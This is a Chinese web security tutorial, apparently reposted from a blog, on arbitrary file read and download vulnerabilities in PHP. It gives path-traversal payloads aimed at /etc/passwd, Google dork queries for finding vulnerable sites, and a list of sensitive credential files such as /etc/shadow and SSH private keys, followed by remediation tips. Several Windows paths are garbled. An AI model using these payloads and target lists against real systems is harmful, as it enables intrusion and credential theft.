• 1.3 任意文件查看与下载漏洞


    任意文件查看与下载漏洞

    漏洞介绍

    一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件
    不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞

    利用条件

    * 存在读文件的函数
    * 读取文件的路径用户可控且未校验或校验不严
    * 输出了文件内容

    漏洞危害

    下载服务器任意文件,如脚本代码、服务及系统配置文件等
    可用得到的代码进一步代码审计,得到更多可利用漏洞

    任意文件读取

    代码形式可如下几种:
    <?php
        $filename = "test.txt";
        readfile($filename);
    ?>
     
    <?php
        $filename = "test.txt";
     
        $fp = fopen($filename,"r") or die("Unable to open file!");
        $data = fread($fp,filesize($filename));
        fclose($fp);
     
        echo $data;
    ?>
     
    <?php
        $filename = "test.txt";
        echo file_get_contents($filename);
    ?>

     

    任意文件下载

    直接下载:
    <a href="http://www.xx.com/a.zip">Download</a>
    用header()下载:
    <?php
        $filename = "uploads/201607141437284653.jpg";
     
        header('Content-Type: imgage/jpeg');
        header('Content-Disposition: attachment; filename='.$filename);
        header('Content-Lengh: '.filesize($filename));
    ?>

    漏洞利用代码

    readfile.php?file=/etc/passwd
    readfile.php?file=../../../../../../../../etc/passwd
    readfile.php?file=../../../../../../../../etc/passwd%00

    Google search

    inurl:"readfile.php?file="
    inurl:"read.php?filename="
    inurl:"download.php?file="
    inurl:"down.php?file="
    等等...

    漏洞挖掘

    可以用Google hacking或Web漏洞扫描器
    从链接上看,形如:
        • readfile.php?file=***.txt
        • download.php?file=***.rar
     
    从参数名看,形如:
        • &RealPath=
        • &FilePath=
        • &filepath=
        • &Path=
        • &path=
        • &inputFile=
        • &url=
        • &urls=
        • &Lang=
        • &dis=
        • &data=
        • &readfile=
        • &filep=
        • &src=
        • &menu=
        • META-INF
        • WEB-INF

    敏感文件如下

    Windows:
     
       C:oot.ini  //查看系统版本
       C:WindowsSystem32inetsrvMetaBase.xml  //IIS配置文件
       C:Windows epairsam  //存储系统初次安装的密码
       C:Program Filesmysqlmy.ini  //Mysql配置
       C:Program Filesmysqldatamysqluser.MYD  //Mysql root
       C:Windowsphp.ini  //php配置信息
       C:Windowsmy.ini  //Mysql配置信息
       ...
     
    Linux:
     
       /root/.ssh/authorized_keys
       /root/.ssh/id_rsa
       /root/.ssh/id_ras.keystore
       /root/.ssh/known_hosts
       /etc/passwd
       /etc/shadow
       /etc/my.cnf
       /etc/httpd/conf/httpd.conf
       /root/.bash_history
       /root/.mysql_history
       /proc/self/fd/fd[0-9]*(文件标识符)
       /proc/mounts
       /porc/config.gz

    漏洞验证

    • index.php?f=../../../../../../etc/passwd
    • index.php?f=../index.php
    • index.php?f=file:///etc/passwd 
     
    注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞,
        若显示源码或提示下载则是文件查看与下载漏洞

    修复方案

    * 过滤.(点),使用户在url中不能回溯上级目录
    * 正则严格判断用户输入参数的格式
    * php.ini配置open_basedir限定文件访问范围
     
  • 相关阅读:
    PHP中无限分类、无限回复评论盖楼的实现方法,thinkphp5.0无限分类实例
    PHP中session详解
    使用thinkPHP做注册程序的实例
    虾米盒子系统开发APP
    angular 使用base64密码加密
    开发中遇到的两种表格文本长度处理,即长文本截断
    树组件使用文件夹图标
    angular实现指定DIV全屏
    JS调用浏览器打印机
    使用blob二进制流的方式下载后台文件
  • 原文地址:https://www.cnblogs.com/bmjoker/p/8970022.html
Copyright © 2020-2023  润新知